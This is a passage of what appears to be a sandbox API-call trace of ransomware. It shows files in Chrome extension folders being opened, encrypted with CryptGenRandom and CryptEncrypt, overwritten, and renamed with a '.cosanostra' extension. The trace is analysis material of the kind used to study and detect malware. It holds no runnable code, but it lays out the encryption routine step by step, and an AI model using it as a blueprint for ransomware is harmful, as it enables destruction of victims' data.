Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0105.361] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\messages.json") returned 164 [0105.361] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0105.384] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0105.384] WriteFile (in: hFile=0x160, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abecbc, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abecbc*=0x2800, lpOverlapped=0x0) returned 1 [0105.384] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.384] WriteFile (in: hFile=0x160, lpBuffer=0x2abecfc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abecbc, lpOverlapped=0x0 | out: lpBuffer=0x2abecfc*, lpNumberOfBytesWritten=0x2abecbc*=0x4, lpOverlapped=0x0) returned 1 [0105.385] WriteFile (in: hFile=0x160, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abecbc, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abecbc*=0x30, lpOverlapped=0x0) returned 1 [0105.386] CloseHandle (hObject=0x160) returned 1 [0105.386] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\messages.json.cosanostra") returned 175 [0105.386] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\messages.json.cosanostra")) returned 1 [0105.388] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abecf8 | out: pbBuffer=0x2abecf8) returned 1 [0105.388] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abecf0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abecf0*=0x30) returned 1 [0105.388] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0105.389] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\messages.json") returned 164 [0105.389] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0105.402] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0105.402] WriteFile (in: hFile=0x160, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abecb4, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abecb4*=0x2800, lpOverlapped=0x0) returned 1 [0105.402] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.402] WriteFile (in: hFile=0x160, lpBuffer=0x2abecf4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abecb4, lpOverlapped=0x0 | out: lpBuffer=0x2abecf4*, lpNumberOfBytesWritten=0x2abecb4*=0x4, lpOverlapped=0x0) returned 1 [0105.404] WriteFile (in: hFile=0x160, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abecb4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abecb4*=0x30, lpOverlapped=0x0) returned 1 [0105.404] CloseHandle (hObject=0x160) returned 1 [0105.404] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\messages.json.cosanostra") returned 175 [0105.404] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\messages.json.cosanostra")) returned 1 [0105.406] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abecf0 | out: pbBuffer=0x2abecf0) returned 1 [0105.406] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abece8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abece8*=0x30) returned 1 [0105.407] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0105.407] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\messages.json") returned 164 [0105.407] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0105.412] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0105.412] WriteFile (in: hFile=0x160, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abecac, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abecac*=0x2800, lpOverlapped=0x0) returned 1 [0105.413] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.413] WriteFile (in: hFile=0x160, lpBuffer=0x2abecec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abecac, lpOverlapped=0x0 | out: lpBuffer=0x2abecec*, lpNumberOfBytesWritten=0x2abecac*=0x4, lpOverlapped=0x0) returned 1 [0105.413] WriteFile (in: hFile=0x160, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abecac, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abecac*=0x30, lpOverlapped=0x0) returned 1 [0105.413] CloseHandle (hObject=0x160) returned 1 [0105.413] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\messages.json.cosanostra") returned 175 [0105.413] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\messages.json.cosanostra")) returned 1 [0105.416] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abece8 | out: pbBuffer=0x2abece8) returned 1 [0105.416] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abece0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abece0*=0x30) returned 1 [0105.416] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0105.417] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\messages.json") returned 164 [0105.417] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0105.419] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0105.419] WriteFile (in: hFile=0x160, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abeca4, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abeca4*=0x2800, lpOverlapped=0x0) returned 1 [0105.419] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.419] WriteFile (in: hFile=0x160, lpBuffer=0x2abece4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abeca4, lpOverlapped=0x0 | out: lpBuffer=0x2abece4*, lpNumberOfBytesWritten=0x2abeca4*=0x4, lpOverlapped=0x0) returned 1 [0105.419] WriteFile (in: hFile=0x160, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abeca4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abeca4*=0x30, lpOverlapped=0x0) returned 1 [0105.419] CloseHandle (hObject=0x160) returned 1 [0105.419] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\messages.json.cosanostra") returned 175 [0105.419] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\messages.json.cosanostra")) returned 1 [0105.422] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abece0 | out: pbBuffer=0x2abece0) returned 1 [0105.422] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abecd8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abecd8*=0x30) returned 1 [0105.422] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0105.423] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\messages.json") returned 164 [0105.423] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0105.450] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0105.450] WriteFile (in: hFile=0x160, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abec9c, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abec9c*=0x2800, lpOverlapped=0x0) returned 1 [0105.450] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.450] WriteFile (in: hFile=0x160, lpBuffer=0x2abecdc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abec9c, lpOverlapped=0x0 | out: lpBuffer=0x2abecdc*, lpNumberOfBytesWritten=0x2abec9c*=0x4, lpOverlapped=0x0) returned 1 [0105.451] WriteFile (in: hFile=0x160, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abec9c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abec9c*=0x30, lpOverlapped=0x0) returned 1 [0105.451] CloseHandle (hObject=0x160) returned 1 [0105.451] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\messages.json.cosanostra") returned 175 [0105.451] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\messages.json.cosanostra")) returned 1 [0105.454] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abecd8 | out: pbBuffer=0x2abecd8) returned 1 [0105.454] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abecd0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abecd0*=0x30) returned 1 [0105.454] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0105.791] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\messages.json") returned 164 [0105.804] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0105.858] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0105.858] WriteFile (in: hFile=0x160, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abec94, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abec94*=0x2800, lpOverlapped=0x0) returned 1 [0106.476] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.476] WriteFile (in: hFile=0x160, lpBuffer=0x2abecd4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abec94, lpOverlapped=0x0 | out: lpBuffer=0x2abecd4*, lpNumberOfBytesWritten=0x2abec94*=0x4, lpOverlapped=0x0) returned 1 [0106.477] WriteFile (in: hFile=0x160, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abec94, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abec94*=0x30, lpOverlapped=0x0) returned 1 [0106.477] CloseHandle (hObject=0x160) returned 1 [0106.770] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\messages.json.cosanostra") returned 175 [0106.809] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\messages.json.cosanostra")) returned 1 [0106.817] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abecd0 | out: pbBuffer=0x2abecd0) returned 1 [0106.817] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abecc8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abecc8*=0x30) returned 1 [0106.817] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0106.821] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json") returned 159 [0106.821] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0106.833] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffd43, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0106.833] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2bd, lpNumberOfBytesWritten=0x2abec8c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abec8c*=0x2bd, lpOverlapped=0x0) returned 1 [0106.834] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.834] WriteFile (in: hFile=0x180, lpBuffer=0x2abeccc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abec8c, lpOverlapped=0x0 | out: lpBuffer=0x2abeccc*, lpNumberOfBytesWritten=0x2abec8c*=0x4, lpOverlapped=0x0) returned 1 [0106.834] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abec8c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abec8c*=0x30, lpOverlapped=0x0) returned 1 [0106.834] CloseHandle (hObject=0x180) returned 1 [0106.835] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json.cosanostra") returned 170 [0106.835] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json.cosanostra")) returned 1 [0106.837] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abecc8 | out: pbBuffer=0x2abecc8) returned 1 [0106.837] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abecc0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abecc0*=0x30) returned 1 [0106.837] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, 